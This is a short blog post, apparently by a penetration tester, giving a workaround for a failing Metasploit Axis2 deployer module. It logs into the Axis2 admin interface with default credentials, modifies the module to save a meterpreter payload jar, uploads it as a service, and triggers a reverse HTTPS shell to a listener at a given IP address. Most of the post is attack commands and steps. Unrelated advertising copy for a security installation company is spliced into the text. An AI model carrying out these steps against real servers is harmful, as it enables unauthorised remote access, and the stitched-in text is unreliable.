Just a quick post on something I worked on yesterday.

360 Mobile Vision - 360mobilevision.com North & South Carolina Security products and Systems Installations for Commercial and Residential - $55 Hourly Rate. ACCESS CONTROL, INTRUSION ALARM, ACCESS CONTROLLED GATES, INTERCOMS AND CCTV INSTALL OR REPAIR 360 Mobile Vision - 360mobilevision.com is committed to excellence in every aspect of our business. We uphold a standard of integrity bound by fairness, honesty and personal responsibility. Our distinction is the quality of service we bring to our customers. Accurate knowledge of our trade combined with ability is what makes us true professionals. Above all, we are watchful of our customers interests, and make their concerns the basis of our business.
Was able to use default credentials to log into the Apache Axis2 administrative interface, the login page URL usually looks something like “axis2/axis2-admin/login”. 

The Metasploit module for uploading and executing a malicious Axis service wasn’t working. No matter what payload I used it was complaining about the file size being too large. The following is a quick (and obvious) workaround.

1) Modify the code for axis2-deploy.rb at /path/to/msf/modules/exploits/multi/http/axis2_deployer.rb.


Add the following under line 109: File.open(“/tmp/payload.jar”, ‘w’) { |file| file.write(contents) }


This will output the payload generated by the script to disk so you can upload it manually.

2) Run the exploit against the target host with the following settings:
set PAYLOAD  java/meterpreter/reverse_https
set LPORT  443
set SSL true
It will fail, but a payload.jar will be created in /tmp/



4) Confirm through the admin interface that the service exists and is activated. Under “List Services” find and click on the name of the service, It will be some random characters.


5) When you click on the service you will be redirected to a WSDL for that service. Copy the URL for this WSDL and import it into a SOAP messaging tool like SOAPUI.


6) Start a reverse handler for the payload:
use multi/handler
set PAYLOAD java/meterpreter/reverse_https
set LPORT 443
set LHOST 128.121.17.148
exploit

7) Call the “run” method of the metasploit service using SOAPUI


When Metasploit modules aren’t working properly and you’re fairly confident your target is vulnerable, this type of approach is usually worth a shot. In the past I have also proxied Metasploit through BURP to intercept, analyze and modify the requests it was making to a vulnerable web application, which ultimately led to a successful shell after some minor effort.

By admin